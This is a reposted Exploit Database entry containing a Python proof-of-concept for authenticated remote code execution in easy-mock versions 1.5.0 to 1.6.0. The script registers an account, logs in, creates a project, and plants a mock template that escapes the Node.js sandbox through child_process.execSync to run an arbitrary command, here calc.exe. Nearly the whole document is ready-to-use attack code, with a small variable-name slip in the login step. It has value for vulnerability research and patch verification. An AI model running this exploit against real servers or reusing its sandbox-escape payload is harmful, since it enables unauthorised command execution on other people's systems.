easy-mock 1.6.0 – Remote Code Execution (RCE) (Authenticated)

Exploit Database
113 阅读

作者： LionTree

日期： 2021-08-13
类别：
- webapps
平台：
- windows
来源：https://www.exploit-db.com/exploits/50194/

# Exploit Title: easy-mock 1.6.0 - Remote Code Execution (RCE) (Authenticated)

# Date: 12/08/2021

# Exploit Author: LionTree

# Vendor Homepage: https://github.com/easy-mock

# Software Link: https://github.com/easy-mock/easy-mock

# Version: 1.5.0-1.6.0

# Tested on: windows 10(node v8.17.0)

import requests

import json

import random

import string

target = 'http://127.0.0.1:7300'

username = ''.join(random.sample(string.ascii_letters + string.digits, 8))

password = ''.join(random.sample(string.ascii_letters + string.digits, 8))

print(username)

print(password)

# can't see the result of command

cmd = 'calc.exe'

# register

url = target + "/api/u/register"

cookies = {"SSO_LANG_V2": "EN"}

headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json;charset=utf-8", "Authorization": "Bearer undefined", "Origin": "http://127.0.0.1:7300", "Connection": "close", "Referer": "http://127.0.0.1:7300/login", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Cache-Control": "max-age=0"}

json_data={"name": username, "password": password}

requests.post(url, headers=headers, cookies=cookies, json=json_data)

# login

url = target + "/api/u/login"

cookies = {"SSO_LANG_V2": "EN"}

json_data={"name": username, "password": password}

req = requests.post(url, headers=headers, cookies=cookies, json=json_data).text

token = login['data']['token']

# create project

url = target + "/api/project/create"

cookies = {"SSO_LANG_V2": "EN", "easy-mock_token": token}

headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json;charset=utf-8", "Authorization": "Bearer " + token, "Origin": "http://127.0.0.1:7300", "Connection": "close", "Referer": "http://127.0.0.1:7300/new", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin"}

json_data={"description": "just a poc", "group": "", "id": "", "members": [], "name": username, "swagger_url": "", "url": "/" + username}

requests.post(url, headers=headers, cookies=cookies, json=json_data)

# get project_id

url = target + "/api/project?page_size=30&page_index=1&keywords=&type=&group=&filter_by_author=0"

cookies = {"SSO_LANG_V2": "EN", "easy-mock_token": token}

headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Authorization": "Bearer " + token, "Connection": "close", "Referer": "http://127.0.0.1:7300/login", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin"}

req = requests.get(url, headers=headers, cookies=cookies).text

projects = json.loads(req)

project_id = projects['data'][0]['_id']

# create mock

url = target + "/api/mock/create"

cookies = {"SSO_LANG_V2": "EN", "easy-mock_token": token}

headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json;charset=utf-8", "Authorization": "Bearer " + token, "Origin": "http://127.0.0.1:7300", "Connection": "close", "Referer": "http://127.0.0.1:7300/editor/" + project_id, "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin"}

json_data={"description": "poc", "method": "get", "mode": "{\n'foo': 'Syntax Demo',\n'name': function() {\nreturn (function() {\nTypeError.prototype.get_process = f => f.constructor(\"return process\")();\ntry {\nObject.preventExtensions(Buffer.from(\"\")).a = 1;\n} catch (e) {\nreturn e.get_process(() => {}).mainModule.require(\"child_process\").execSync(\"" + cmd + "\").toString();\n}\n})();\n}\n}", "project_id": project_id, "url": "/" + username}

requests.post(url, headers=headers, cookies=cookies, json=json_data)

# preview mock

url = target + "/mock/{}/{}/{}".format(project_id,username,username)

cookies = {"SSO_LANG_V2": "EN", "easy-mock_token": token}

headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0", "Accept": "application/json, */*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Referer": "http://127.0.0.1:7300/mock/{}/{}/{}".format(project_id,username,username), "Content-Type": "application/json", "Connection": "close", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Cache-Control": "max-age=0"}

requests.get(url, headers=headers, cookies=cookies)